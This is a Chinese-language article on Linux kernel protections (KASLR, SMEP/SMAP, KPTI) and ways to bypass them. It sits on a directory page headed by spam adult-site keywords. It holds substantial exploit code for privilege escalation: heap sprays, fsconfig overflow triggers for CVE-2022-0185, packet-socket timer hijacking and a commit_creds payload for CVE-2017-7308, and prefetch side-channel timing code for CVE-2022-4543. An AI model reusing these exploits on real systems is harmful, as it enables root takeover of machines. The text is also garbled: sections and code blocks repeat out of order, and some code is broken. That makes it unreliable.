日日操夜夜添-日日操影院-日日草夜夜操-日日干干-精品一区二区三区波多野结衣-精品一区二区三区高清免费不卡

公告:魔扣目錄網(wǎng)為廣大站長提供免費(fèi)收錄網(wǎng)站服務(wù),提交前請做好本站友鏈:【 網(wǎng)站目錄:http://www.ylptlb.cn 】, 免友鏈快審服務(wù)(50元/站),

點(diǎn)擊這里在線咨詢客服
新站提交
  • 網(wǎng)站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會員:747

內(nèi)核保護(hù)和利用是一個長期對抗的過程,出現(xiàn)了新的利用方法相應(yīng)的也會出現(xiàn)新的對抗手段。 安全防護(hù)并不能完全保證內(nèi)核是安全的,一旦有危害性更高的漏洞出現(xiàn),就很容易打破這些保護(hù)使其輕易的獲取系統(tǒng)權(quán)限。

1 內(nèi)核是什么?

內(nèi)核是操作系統(tǒng)的核心部分。內(nèi)核負(fù)責(zé)管理計算機(jī)的硬件資源,并實(shí)現(xiàn)操作系統(tǒng)的基本功能。內(nèi)核是操作系統(tǒng)中最重要的部分,它是操作系統(tǒng)與硬件之間的橋梁。內(nèi)核可以被看作是操作系統(tǒng)的“心臟”,負(fù)責(zé)控制和管理計算機(jī)系統(tǒng)的所有硬件和軟件資源。不同的操作系統(tǒng)有不同的內(nèi)核,比如linux操作系統(tǒng)有Linux內(nèi)核,Linux內(nèi)核是Linux操作系統(tǒng)的核心部分,它是由C語言編寫的程序,并且是一個開源軟件,它的源代碼可以自由下載和修改。Linux內(nèi)核提供了多種功能,包括內(nèi)存管理、進(jìn)程管理、文件系統(tǒng)支持、網(wǎng)絡(luò)通信等,Linux內(nèi)核的設(shè)計具有高度的可擴(kuò)展性和靈活性,可以應(yīng)對各種應(yīng)用場景和硬件平臺。

2 內(nèi)核漏洞

有代碼就有漏洞,內(nèi)核也不例外。內(nèi)核漏洞是操作系統(tǒng)內(nèi)核中的存在的安全漏洞,這些漏洞可能導(dǎo)致系統(tǒng)被惡意軟件入侵或攻擊者控制,并可能造成數(shù)據(jù)泄露、系統(tǒng)癱瘓等嚴(yán)重后果。例如:攻擊者可能會利用內(nèi)核漏洞來繞過系統(tǒng)安全保護(hù),提升權(quán)限,從而獲取用戶敏感信息,或者在系統(tǒng)中安裝惡意軟件,損壞系統(tǒng)數(shù)據(jù)或癱瘓整個系統(tǒng)。著名漏洞“dirty cow”(臟牛漏洞)影響之廣,從2007年到2018年之間的所有發(fā)行版都受其影響,讓全世界數(shù)百萬臺設(shè)備暴露在威脅當(dāng)中。

image

如圖為近10年漏洞報送數(shù)量,表中可知Linux內(nèi)核漏洞數(shù)量一直處于高位,基本每年在100以上,尤其2017年漏洞數(shù)量最多,達(dá)到449個之多。

因此及時發(fā)現(xiàn),修復(fù)內(nèi)核漏洞非常重要。通常,操作系統(tǒng)廠商會定期發(fā)布補(bǔ)丁來修復(fù)內(nèi)核漏洞。同時為了減小漏洞發(fā)現(xiàn)造成的危害,Linux內(nèi)核采用了多種技術(shù)來提高漏洞利用的難度來保護(hù)系統(tǒng)安全。例如:SMEP保護(hù)、SMAP保護(hù)、KASLR保護(hù)、KPTI保護(hù)。但即使是這么多保護(hù),也無法安全保護(hù)內(nèi)核,漏洞可以輕松繞過這些保護(hù),達(dá)到提權(quán)效果。下面介紹這些年出現(xiàn)Linux內(nèi)核保護(hù)技術(shù)以及針對這些保護(hù)技術(shù)的繞過方法。

3 Linux內(nèi)核保護(hù)與繞過

3.1 KASLR 保護(hù)

struct seq_operations {
  void * (*start) (struct seq_file *m, loff_t *pos);
  void (*stop) (struct seq_file *m, void *v);
  void * (*next) (struct seq_file *m, void *v, loff_t *pos);
  int (*show) (struct seq_file *m, void *v);
};

利用seq_operations泄露內(nèi)核基地址:堆噴大量 seq_operations (open("/proc/self/stat",O_RDONLY)) ,溢出篡改msg_msg->m_ts的值,從而泄露基地址。

  • 準(zhǔn)備 fs_context 漏洞對象;
int call_fsopen(){
    int fd = fsopen("ext4",0);
    if(fd <0){
        perror("fsopen");
        exit(-1);
    }
    return fd;
}
  • 往kmalloc-32堆噴seq_operations對象;
for(int i=0;i<100;i++){
        open("/proc/self/stat",O_RDONLY);
    }
  • 創(chuàng)建大量msg_msg消息(大小為0xfe8),會將輔助消息分配在kmalloc-32
  • 觸發(fā)kmalloc-4096溢出,修改msg_msg->m_ts;
char tiny_evil[] = "DDDDDDx60x10";
    fsconfig(fd,FSCONFIG_SET_STRING,"CCCCCCCC",tiny,0);
    fsconfig(fd,FSCONFIG_SET_STRING,"x00",tiny_evil,0);
  • 利用msg_msg越界讀,泄露內(nèi)核指針。
get_msg(targets[i],received,size,0,IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
  printf("[*] received 0x%lxn", kbase);

泄露出基地址后,可根據(jù)偏移計算任何內(nèi)核函數(shù)地址達(dá)到提權(quán)。

3 Linux內(nèi)核保護(hù)與繞過

3.1 KASLR 保護(hù)

linux內(nèi)核(2005年)開始支持KASLR。KASLR(Kernel Address Space Layout Randomization)是一種用于保護(hù)操作系統(tǒng)內(nèi)核的安全技術(shù)。它通過在系統(tǒng)啟動時隨機(jī)化內(nèi)核地址空間的布局來防止攻擊者確定內(nèi)核中的精確地址。即使攻擊者知道了一些內(nèi)核代碼的位置,也無法精確定位內(nèi)核中的其他代碼和數(shù)據(jù),從而繞過系統(tǒng)安全保護(hù)。在實(shí)現(xiàn)時主要通過改變原先固定的內(nèi)存布局來提升內(nèi)核安全性,因此在代碼實(shí)現(xiàn)過程中,kaslr與內(nèi)存功能存在比較強(qiáng)的耦合關(guān)系。

隨機(jī)化公式: 函數(shù)基地址 +隨機(jī)值=內(nèi)存運(yùn)行地址

比如先查看 entry_SYSCALL_64函數(shù)的基地址為 0xffffffff82000000

image

它運(yùn)行時的內(nèi)存地址為0xffffffff8fa00000

image

將運(yùn)行地址減函數(shù)基地址得到隨機(jī)值變量0xda00000(0xffffffff8fa00000-0xffffffff82000000=0xda00000) ,這0xda0000就是隨機(jī)值,每次系統(tǒng)啟動的時候都會發(fā)生變化。

在有kaslr保護(hù)的情況下,漏洞觸發(fā)要跳轉(zhuǎn)到指定的函數(shù)位置時,由于隨機(jī)值的存在,無法確定函數(shù)在內(nèi)存中的具體位置,如果要利用就需要預(yù)先知道目標(biāo)函數(shù)地址以及shellcode存放在內(nèi)存中的地址,這使得漏洞利用比較困難。

針對這種保護(hù)技術(shù),目前比較常規(guī)的繞過方法是利用漏洞泄露出內(nèi)核中某些結(jié)構(gòu)體,通過上面計算方法算出內(nèi)核基地址,有了基地址后就可以計算想要的函數(shù)地址了。

如CVE-2022-0185,是一個提權(quán)漏洞,漏洞成因是 len > PAGE-2-size 整數(shù)溢出導(dǎo)致判斷錯誤,后面繼續(xù)拷貝造成堆溢出。

diff --git a/fs/fs_context.c b/fs/fs_context.c
index b7e43a780a625..24ce12f0db32e 100644
--- a/fs/fs_context.c
+++ b/fs/fs_context.c
@@ -548,7 +548,7 @@ static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
            param->key);
  }
 
-  if (len > PAGE_SIZE - 2 - size)    //這里存在整數(shù)溢出,后面的拷貝會造成堆溢出
+  if (size + len + 2 > PAGE_SIZE)
    return invalf(fc, "VFS: Legacy: Cumulative options too large");
  if (strchr(param->key, ',') ||
      (param->type == fs_value_is_string &&

函數(shù)調(diào)用路徑:_x64_sys_fsconfig() ---> vfs_fsconfig_locked()-->vfs_parse_fs_param()-->legacy_parse_param(),vfs_parse_fs_param()中的函數(shù)指針定義在legacy_fs_context_ops函數(shù)表中,在alloc_fs_context()函數(shù)中完成filesystem context結(jié)構(gòu)的分配和初始化。

在legacy_parse_param 函數(shù):linux5.11/fs/fs_context.c: legacy_parse_param

static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
{
   struct legacy_fs_context *ctx = fc->fs_private;
   unsigned int size = ctx->data_size;
   size_t len = 0;

   ··· ···
   ··· ···
   switch (param->type) {
   case fs_value_is_string:
      len = 1 + param->size;
      fallthrough;
   ··· ···
   }

   if (len > PAGE_SIZE - 2 - size) //--此處邊界檢查有問題
      return invalf(fc, "VFS: Legacy: Cumulative options too large");
   if (strchr(param->key, ',') ||
       (param->type == fs_value_is_string &&
        memchr(param->string, ',', param->size)))
      return invalf(fc, "VFS: Legacy: Option '%s' contained comma",
               param->key);
   if (!ctx->legacy_data) {
      ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL); //在第一次時會分配一頁大小
      if (!ctx->legacy_data)
         return -ENOMEM;
   }

   ctx->legacy_data[size++] = ',';
   len = strlen(param->key);
   memcpy(ctx->legacy_data + size, param->key, len);
   size += len;
   if (param->type == fs_value_is_string) {
      ctx->legacy_data[size++] = '=';
      memcpy(ctx->legacy_data + size, param->string, param->size); //拷貝,存在越界
      size += param->size;
   }
   ctx->legacy_data[size] = '';
   ctx->data_size = size;
   ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS;
   return 0;
}

(len > PAGE_SIZE - 2 - size )判斷處有問題,根據(jù)符號優(yōu)先級 ”-“的優(yōu)先級是4,”>" 的優(yōu)先級是6,所以先執(zhí)行右邊模塊。又因?yàn)閿?shù)據(jù)類型自動轉(zhuǎn)換原則,"PAGE_SIZE-2-size" 轉(zhuǎn)換為無符號進(jìn)行運(yùn)算。size變量由用戶空間傳入,當(dāng)size的值大于“PAGE_SIZE-2”的差值時,運(yùn)算產(chǎn)生溢出。后面拷貝時,size是大于kmalloc申請的“PAGE_SIZE - 2”大小。在memcpy(ctx->legacy_data + size, param->string, param->size); 這個位置,導(dǎo)致溢出。

legacy_parse_param函數(shù)是處理文件系統(tǒng)掛載過程中的一些功能,所以對這個漏洞的利用,不同磁盤格式利用方式也不一樣,這里我們在ext4磁盤格式下,了解一下其漏洞利用過程。首先fsopen打開一個文件系統(tǒng)環(huán)境,用戶可以用來mount新的文件系統(tǒng)。 fsconfig()調(diào)用能讓我們往 ctx->legacy_data寫入一個新的(key,valu),ctx->legacy_data指向一個4096字節(jié)的緩沖區(qū)(首次配置文件系統(tǒng)時就分配)。 len > PAGE_SIZE-2-size , len是將要寫的長度,PAGE_SIZE == 4096, size是已寫的長度,2字節(jié)表示一個逗號和一個NULL終止符。當(dāng)size是unsigned int(總是被當(dāng)作正值),會導(dǎo)致整數(shù)溢出,如果相減的結(jié)果小于0,還是被包裝成正值。執(zhí)行117次后添加長度為0的key和長度為33的value,最終的size則為(117*(33+2))4095,這樣PAGE_SIZE-2-size-1==18446744073709551615 ,這樣無論len多大都能滿足條件。可以設(shè)置為"x00",這樣逗號會寫入偏移4095,等號寫入下給kmalloc-4096d 偏移0處,接著就能往偏移1處開始往后寫value。

針對這個漏洞,我們可以利用seq_operations結(jié)構(gòu)體泄露內(nèi)核基地址從而繞過KASLR,seq_operations 是一個大小為0x20的結(jié)構(gòu)體,在打開/proc/self/stat會申請出來。里面定義了四個函數(shù)指針,通過他們可以泄露出內(nèi)核基地址。

struct seq_operations {
  void * (*start) (struct seq_file *m, loff_t *pos);
  void (*stop) (struct seq_file *m, void *v);
  void * (*next) (struct seq_file *m, void *v, loff_t *pos);
  int (*show) (struct seq_file *m, void *v);
};

利用seq_operations泄露內(nèi)核基地址:堆噴大量 seq_operations (open("/proc/self/stat",O_RDONLY)) ,溢出篡改msg_msg->m_ts的值,從而泄露基地址。

  • 準(zhǔn)備 fs_context 漏洞對象;
int call_fsopen(){
    int fd = fsopen("ext4",0);
    if(fd <0){
        perror("fsopen");
        exit(-1);
    }
    return fd;
}
  • 往kmalloc-32堆噴seq_operations對象;
 
for(int i=0;i<100;i++){
        open("/proc/self/stat",O_RDONLY);
    }
  • 創(chuàng)建大量msg_msg消息(大小為0xfe8),會將輔助消息分配在kmalloc-32
  • 觸發(fā)kmalloc-4096溢出,修改msg_msg->m_ts;
char tiny_evil[] = "DDDDDDx60x10";
    fsconfig(fd,FSCONFIG_SET_STRING,"CCCCCCCC",tiny,0);
    fsconfig(fd,FSCONFIG_SET_STRING,"x00",tiny_evil,0);
  • 利用msg_msg越界讀,泄露內(nèi)核指針。
get_msg(targets[i],received,size,0,IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
  printf("[*] received 0x%lxn", kbase);

泄露出基地址后,可根據(jù)偏移計算任何內(nèi)核函數(shù)地址達(dá)到提權(quán)。

3.2 SMEP&SMAP保護(hù)

linux內(nèi)核從3.0(2011年8月)開始支持SMEP,3.7(2012年12月)開始支持SMAP。SMEP(Supervisor Mode Execution Protection)是一種用于保護(hù)操作系統(tǒng)內(nèi)核安全的技術(shù)。它通過在CPU開一個比特位,來限制內(nèi)核態(tài)訪問用戶態(tài)的代碼。當(dāng)有了內(nèi)核的控制權(quán)去執(zhí)行用戶態(tài)中的shellcode,CPU會拒絕執(zhí)行該操作,并向操作系統(tǒng)發(fā)出一個異常中斷。這樣,即使攻擊者成功執(zhí)行了惡意代碼,也無法繞過系統(tǒng)安全保護(hù)訪問,從而大大增強(qiáng)了系統(tǒng)的安全性。根據(jù)CR4寄存器的值判斷是否開啟smep保護(hù),當(dāng)CR4寄存器的第20位是1時,保護(hù)開啟,為0時,保護(hù)關(guān)閉。

image

SMAP(Supervisor Mode Access Protection)是一種用于保護(hù)操作系統(tǒng)內(nèi)核的安全技術(shù)。它與SMEP相似,都在CPU中開啟一個比特位來限制內(nèi)核態(tài)訪問用戶態(tài)的能力。它使用戶態(tài)的指針無法被內(nèi)核態(tài)解引用。這樣即使攻擊者成功執(zhí)行了惡意代碼,也無法繞過系統(tǒng)安全保護(hù)讀取內(nèi)核空間中的敏感信息。判斷CR4寄存器的值來確定是否開啟,當(dāng)CR4寄存器的值第21位是1時,SMAP開啟。

image

針對SMEP、SMAP保護(hù)時,一般是通過漏洞修改寄存器關(guān)閉保護(hù),達(dá)到繞過保護(hù)的目的。比如可以通過獲得內(nèi)核基地址后算出native_write_cr4函數(shù)在內(nèi)存運(yùn)行時地址,控制PC跳轉(zhuǎn)到native_write_cr4函數(shù)去覆寫CR4寄存器的20位和21位關(guān)閉保護(hù),CPU只是判斷CR4寄存器的20位21位的值,只要為0零就能關(guān)閉保護(hù),同樣也可以使用ROP的方式在內(nèi)核鏡像中尋找ROP組合出能修改cr4寄存器的鏈。

CVE-2017-7308漏洞,是內(nèi)核套接字中的packet_set_ring()函數(shù)沒有正確檢測size,長度判斷條件錯誤,導(dǎo)致堆溢出。

static int packet_set_ring(struct sock *sk, union tpacket_req_u *req_u,
        int closing, int tx_ring){
    ...
    if (po->tp_version >= TPACKET_V3 &&
                (int)(req->tp_block_size -
                  BLK_PLUS_PRIV(req_u->req3.tp_sizeof_priv)) <= 0)
                goto out;
    ...
}
 

判斷內(nèi)存塊頭部加上每個內(nèi)存塊私有數(shù)據(jù)的大小不超過內(nèi)存塊自身的大小,保證內(nèi)存中有足夠的空間。當(dāng)req_u->req3.tp_sizeof_priv 接近unsigned int 的最大值時,這個判斷就會被繞過。隨后代碼執(zhí)行到init_prb_bdqc函數(shù)處創(chuàng)建環(huán)形緩沖區(qū)。

static int packet_set_ring(struct sock *sk, union tpacket_req_u *req_u,
        int closing, int tx_ring){

    ...
        order = get_order(req->tp_block_size);   // 內(nèi)核頁的階
        pg_vec = alloc_pg_vec(req, order);  // 在某個階上取一頁
        if (unlikely(!pg_vec))
            goto out;
        // 創(chuàng)建一個接收數(shù)據(jù)包的TPACKET_V3環(huán)形緩沖區(qū)。 
        switch (po->tp_version) {
            case TPACKET_V3:
            /* Transmit path is not supported. We checked
             * it above but just being paranoid
             */
            if (!tx_ring)
                init_prb_bdqc(po, rb, pg_vec, req_u);
                    break;
        default:
            break;
    ...
}

在init_prb_bdqc函數(shù)中,req_u->req3.tp_sizeof_priv(unsigned int)賦值給了p1->blk_sizeof_priv(unsigned short),被分割成低位字節(jié)。因?yàn)閠p_sizeof_priv可控,所以blk_sizeof_priv也可控。

static void init_prb_bdqc(struct packet_sock *po,
      struct packet_ring_buffer *rb,
      struct pgv *pg_vec,
      union tpacket_req_u *req_u)
{
  struct tpacket_kbdq_core *p1 = GET_PBDQC_FROM_RB(rb);
  struct tpacket_block_desc *pbd;
  ...
  p1->blk_sizeof_priv = req_u->req3.tp_sizeof_priv;
  p1->max_frame_len = p1->kblk_size - BLK_PLUS_PRIV(p1->blk_sizeof_priv);  
  prb_init_ft_ops(p1, req_u);
  prb_setup_retire_blk_timer(po);
  prb_open_block(p1, pbd);  //初始化第一個內(nèi)存塊
}

因?yàn)閎lk_sizeof_priv可控,進(jìn)而可以間接控制max_frame_len的值,該值是最大幀范圍,控制max_frame_len的值超過實(shí)際幀大小,當(dāng)內(nèi)核接收數(shù)據(jù)包即可繞大小檢測。

static void prb_open_block(struct tpacket_kbdq_core *pkc1,
  struct tpacket_block_desc *pbd1)
{
  struct timespec ts;
  struct tpacket_hdr_v1 *h1 = &pbd1->hdr.bh1;
  ...
  pkc1->pkblk_start = (char *)pbd1;                    
  pkc1->nxt_offset = pkc1->pkblk_start + BLK_PLUS_PRIV(pkc1->blk_sizeof_priv);
  BLOCK_O2FP(pbd1) = (__u32)BLK_PLUS_PRIV(pkc1->blk_sizeof_priv);    
  BLOCK_O2PRIV(pbd1) = BLK_HDR_LEN;
  ...
}

判斷內(nèi)存塊頭部加上每個內(nèi)存塊私有數(shù)據(jù)的大小不超過內(nèi)存塊自身的大小,保證內(nèi)存中有足夠的空間。當(dāng)req_u->req3.tp_sizeof_priv 接近unsigned int 的最大值時,這個判斷就會被繞過。隨后代碼執(zhí)行到init_prb_bdqc函數(shù)處創(chuàng)建環(huán)形緩沖區(qū)。

...
    order = get_order(req->tp_block_size);   // 內(nèi)核頁的階
    pg_vec = alloc_pg_vec(req, order);  // 在某個階上取一頁
    if (unlikely(!pg_vec))
        goto out;
    // 創(chuàng)建一個接收數(shù)據(jù)包的TPACKET_V3環(huán)形緩沖區(qū)。 
    switch (po->tp_version) {
        case TPACKET_V3:
        /* Transmit path is not supported. We checked
         * it above but just being paranoid
         */
        if (!tx_ring)
            init_prb_bdqc(po, rb, pg_vec, req_u);
                break;
    default:
        break;
...

在init_prb_bdqc函數(shù)中,req_u->req3.tp_sizeof_priv(unsigned int)賦值給了p1->blk_sizeof_priv(unsigned short),被分割成低位字節(jié)。因?yàn)閠p_sizeof_priv可控,所以blk_sizeof_priv也可控。

static void init_prb_bdqc(struct packet_sock *po,
      struct packet_ring_buffer *rb,
      struct pgv *pg_vec,
      union tpacket_req_u *req_u)
{
  struct tpacket_kbdq_core *p1 = GET_PBDQC_FROM_RB(rb);
  struct tpacket_block_desc *pbd;
  ...
  p1->blk_sizeof_priv = req_u->req3.tp_sizeof_priv;
  p1->max_frame_len = p1->kblk_size - BLK_PLUS_PRIV(p1->blk_sizeof_priv);  
  prb_init_ft_ops(p1, req_u);
  prb_setup_retire_blk_timer(po);
  prb_open_block(p1, pbd);  //初始化第一個內(nèi)存塊
}

因?yàn)閎lk_sizeof_priv可控,進(jìn)而可以間接控制max_frame_len的值,該值是最大幀范圍,控制max_frame_len的值超過實(shí)際幀大小,當(dāng)內(nèi)核接收數(shù)據(jù)包即可繞大小檢測。

static void prb_open_block(struct tpacket_kbdq_core *pkc1,
  struct tpacket_block_desc *pbd1)
{
  struct timespec ts;
  struct tpacket_hdr_v1 *h1 = &pbd1->hdr.bh1;
  ...
  pkc1->pkblk_start = (char *)pbd1;                    
  pkc1->nxt_offset = pkc1->pkblk_start + BLK_PLUS_PRIV(pkc1->blk_sizeof_priv);
  BLOCK_O2FP(pbd1) = (__u32)BLK_PLUS_PRIV(pkc1->blk_sizeof_priv);    
  BLOCK_O2PRIV(pbd1) = BLK_HDR_LEN;
  ...
}

nxt_offset是寫入內(nèi)存塊的偏移量。通過pkc1->blk_sizeof_priv間接控nxt_offset。從packet_set_ring函數(shù)繞過檢測開始,后面的最大值以及寫入偏移都可控,所以可以利用溢出修改SMEP和SMAP保護(hù)。

利用思路首先創(chuàng)建一個環(huán)形緩沖區(qū),再在某個環(huán)形緩沖區(qū)內(nèi)存后面分配一個packet_sock對象,將接收環(huán)形緩沖區(qū)附加到packet_sock對象,溢出它,覆蓋prb_bdqc->retire_blk_timer字段,使得retire_blk_timer->func指向native_write_cr4函數(shù),retire_blk_timer->data 設(shè)置覆蓋值,等待計時器執(zhí)行func后關(guān)閉SMEP和SMAP。native_write_cr4函數(shù)是內(nèi)核4.x版本的內(nèi)置inline匯編函數(shù),主要用來修改CR4寄存器的。

image

堆分配512個 socket對象

void kmalloc_pad(int count) {
 
    for(int i=0;i<512;i++){
        if(socket(AF_PACKET,SOCK_DGRAM,htons(ETH_P_ARP))==-1)
            printf("[-] socket errn");
            exit(-1);
    }
}

頁分配1024個頁

void pagealloc_pad(int count){
   packet_socket(0x8000,2048,count,0,100);
}

int packet_socket(unsigned int block_size, unsigned int frame_size,
      unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
   int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
   if (s < 0) {
      printf("[-] socket errn");
      exit(-1);
   }

   packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
      sizeof_priv, timeout);

   struct sockaddr_ll sa;
   memset(&sa, 0, sizeof(sa));
   sa.sll_family = PF_PACKET;
   sa.sll_protocol = htons(ETH_P_ALL);
   sa.sll_ifindex = if_nametoindex("lo");   //網(wǎng)絡(luò)接口
   sa.sll_hatype = 0;
   sa.sll_pkttype = 0;
   sa.sll_halen = 0;

   int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
   if (rv < 0) {
      printf("[-] bind errn");
      exit(-1);
   }

   return s;
}

void packet_socket_rx_ring_init(int s, unsigned int block_size,
      unsigned int frame_size, unsigned int block_nr,
      unsigned int sizeof_priv, unsigned int timeout) {
   int v = TPACKET_V3;
   int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
   if (rv < 0) {
      printf("[-] setsockopt errn");
      exit(-1);
   }

   struct tpacket_req3 req;
   memset(&req, 0, sizeof(req));
   req.tp_block_size = block_size;      
   req.tp_frame_size = frame_size;
   req.tp_block_nr = block_nr;
   req.tp_frame_nr = (block_size * block_nr) / frame_size;
   req.tp_retire_blk_tov = timeout;
   req.tp_sizeof_priv = sizeof_priv;   
   req.tp_feature_req_word = 0;

   // 創(chuàng)建PACKET_RX_RING 的環(huán)形緩沖區(qū)
   rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
   if (rv < 0) {
      printf("[-] setsockopt errn");
      exit(-1);
   }
}

執(zhí)行關(guān)閉SMEP和SMAP保護(hù)

void oob_timer_execute(void *func, unsigned long arg) {
    // 構(gòu)造溢出堆
    oob_setup(2048 + TIMER_OFFSET - 8);

    int i;
    for (i = 0; i < 32; i++) {
        // 環(huán)形緩沖區(qū)后面創(chuàng)建 packet_sockt 對象
        int timer = packet_sock_kmalloc();
        // 附加到packet_sockt對象后面,設(shè)置計時器時間
        packet_sock_timer_schedule(timer, 1000);
    }

    char buffer[2048];
    memset(&buffer[0], 0, sizeof(buffer));

    struct timer_list *timer = (struct timer_list *)&buffer[8];
    timer->function = func;        // 為 native_write_cr4  函數(shù)地址
    timer->data = arg;
    timer->flags = 1;

    // 發(fā)送數(shù)據(jù)包到接收環(huán)形緩沖區(qū)上,溢出環(huán)形緩沖區(qū)的retire_blk_timer->func,并等待計時器執(zhí)行
    oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2);

    sleep(1);
}

// 為了構(gòu)造堆溢出,計算到 retire_blk_timer 的偏移值
int oob_setup(int offset) {
    unsigned int maclen = ETH_HDR_LEN;
    unsigned int.NEToff = TPACKET_ALIGN(TPACKET3_HDRLEN +
                (maclen < 16 ? 16 : maclen));
    unsigned int macoff = netoff - maclen;
    unsigned int sizeof_priv = (1u<<31) + (1u<<30) +
        0x8000 - BLK_HDR_LEN - macoff + offset;
    return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100);
}

溢出xmit字段,指向用戶空間的申請的commit_creds(prepare_kernel_cred(0)) 函數(shù)獲得root。

int ps[32];

int i;
for (i = 0; i < 32; i++)
  ps[i] = packet_sock_kmalloc();  //創(chuàng)建 packet_sockt 對象

char buffer[2048];
memset(&buffer[0], 0, 2048);

void **xmit = (void **)&buffer[64];  
*xmit = func;  // 用戶空間的commit_creds(prepare_kernel_cred(0))函數(shù)

// 溢出寫入packet_sock->xmit處
oob_write((char *)&buffer[0] + 2, sizeof(*xmit) + 64 - 2);

for (i = 0; i < 32; i++)
  packet_sock_id_match_trigger(ps[i]);  // 發(fā)送數(shù)據(jù)包到 packet_sockt對象上,執(zhí)行xmit

3.3 KPTI保護(hù)

linux內(nèi)核從4.15(2018年-2月)開始支持KPTI。KPTI(kernel page-table isolation, 內(nèi)核頁表隔離,也稱PTI)是Linux內(nèi)核中的一種強(qiáng)化技術(shù),旨在更好地隔離用戶空間與內(nèi)核空間的內(nèi)存來提高安全性,緩解現(xiàn)代x86 CPU中的“熔毀”硬件安全缺陷。KPTI通過完全分離用戶空間與內(nèi)核空間頁表來解決頁表泄露。一旦開啟了 KPTI,由于內(nèi)核態(tài)和用戶態(tài)的頁表不同,所以如果使用 ret2user或內(nèi)核執(zhí)行 ROP返回用戶態(tài)時,由于內(nèi)核態(tài)無法確定用戶態(tài)的頁表,就會報出一個段錯誤。

針對這種保護(hù)方式,主流是通過signal函數(shù)和KPTI trampoline方法,近段時間一個新的思路,通過側(cè)信道泄露內(nèi)存地址,從而繞過KPTI保護(hù),執(zhí)行指定代碼。

CVE-2022-4543 漏洞繞過帶有KPTI的保護(hù),通過預(yù)取側(cè)信道找到entry_SYSCALL_64的地址,并且它與__entry_text_start和其他部分一起隨機(jī)化。思路是重復(fù)多次執(zhí)行系統(tǒng)調(diào)用以確保頁上有緩存指令在TLB中,然后預(yù)取側(cè)信道處理程序的可能選定范圍(如0xffffffff80000000-0xffffffffc0000000)。TLB( 虛擬到物理地址轉(zhuǎn)換的緩存機(jī)制)。x86_64有一組預(yù)取指令RDTSC,這些指令將地址“預(yù)取”到 CPU 緩存中。如果正在加載的地址已存在于 TLB 中,則預(yù)取將快速完成,但當(dāng)?shù)刂凡淮嬖跁r,預(yù)取將完成得較慢(并且需要完成頁表遍歷)。

for (int i = 0; i < ITERATIONS + DUMMY_ITERATIONS; i++)
    {
        for (uint64_t idx = 0; idx < ARR_SIZE; idx++)
        {
            uint64_t test = SCAN_START + idx * STEP;
            syscall(104);  // 多次調(diào)用,確保緩存指令在TLB中
            uint64_t time = sidechannel(test);  // 預(yù)取
            if (i >= DUMMY_ITERATIONS)
                data[idx] += time;
        }
    }

uint64_t sidechannel(uint64_t addr) {
  uint64_t a, b, c, d;
  asm volatile (".intel_syntax noprefix;"
    "mfence;"
    "rdtscp;"
    "mov %0, rax;"
    "mov %1, rdx;"
    "xor rax, rax;"
    "lfence;"
    "prefetchnta qword ptr [%4];"
    "prefetcht2 qword ptr [%4];"
    "xor rax, rax;"
    "lfence;"
    "rdtscp;"
    "mov %2, rax;"
    "mov %3, rdx;"
    "mfence;"
    ".att_syntax;"
    : "=r" (a), "=r" (b), "=r" (c), "=r" (d)
    : "r" (addr)
    : "rax", "rbx", "rcx", "rdx");
  a = (b << 32) | a;
  c = (d << 32) | c;
  return c - a;
}

普通用戶權(quán)限側(cè)信道繞過帶有給KPTI保護(hù)。

image

4 新內(nèi)核漏洞利用方法

由于內(nèi)核保護(hù)的手段日益增多,傳統(tǒng)的漏洞利用方法也越來越困難,所以安全研究者在研究一些新的漏洞利用方法。新的利用方法可以不關(guān)注上面的保護(hù),如果漏洞品相好可以直接繞過保護(hù)達(dá)到內(nèi)核任意地址讀寫。如:CVE-2022-0847 它因splice函數(shù)映射文件時沒有重置pipe中的flag標(biāo)志,導(dǎo)致緩存頁越權(quán)寫入內(nèi)容,利用該漏洞可在root權(quán)限文件中寫入提權(quán)腳本。

4.1 pipe管道技術(shù)

前置知識:pipe管道Linux內(nèi)核中,管道本質(zhì)是創(chuàng)建一個虛擬的inode(即創(chuàng)建一個虛擬文件節(jié)點(diǎn))來表示,其中在節(jié)點(diǎn)上描述管道信息的結(jié)構(gòu)體為 pipe_inode_info(inode->i_pipe). 其中包含一個管道的所有信息。當(dāng)創(chuàng)建一個管道時,內(nèi)核會創(chuàng)建 VFS inode,pipe_inode_info結(jié)構(gòu)體、兩個文件描述符(代表著管道的兩端)、pipe_buffer結(jié)構(gòu)體數(shù)組。管道原理的示意圖列。

image

用來表示管道中數(shù)據(jù)的是一個 pipe_buffer結(jié)構(gòu)數(shù)組,單個 pipe_buffer結(jié)構(gòu)體用來表示管道中單張內(nèi)存頁的數(shù)據(jù):

/**
 *  struct pipe_buffer - a linux kernel pipe buffer
 *  @page: 管道緩沖區(qū)存放了數(shù)據(jù)的頁
 *  @offset: 在@page中數(shù)據(jù)的偏移
 *  @len: 在@page中數(shù)據(jù)的長度
 *  @ops: 該buffer的函數(shù)表,參見@pipe_buf_operations.
 *  @flags: 管道緩沖區(qū)的標(biāo)志位,
 *  @private: 函數(shù)表的私有數(shù)據(jù)
 **/
struct pipe_buffer {
  struct page *page;
  unsigned int offset, len;
  const struct pipe_buf_operations *ops;
  unsigned int flags;
  unsigned long private;
};

有兩個系統(tǒng)調(diào)用可以創(chuàng)建管道,pipe、pipe2.這兩個系統(tǒng)調(diào)用最終都會調(diào)到 do_pipe2()函數(shù)。

image

存在如下調(diào)用鏈:

do_pipe2()
    __do_pipe_flags()
        create_pipe_files()
            get_pipe_inode()
                alloc_pipe_info()

最終調(diào)用 kcalloc()分配一個 pipe_buffer數(shù)組,默認(rèn)數(shù)量為 PIPE_DEF_BUFFERS(16). 即一個管道初始默認(rèn)可以存放16張頁面的數(shù)據(jù).

pipe_inode_info創(chuàng)建:

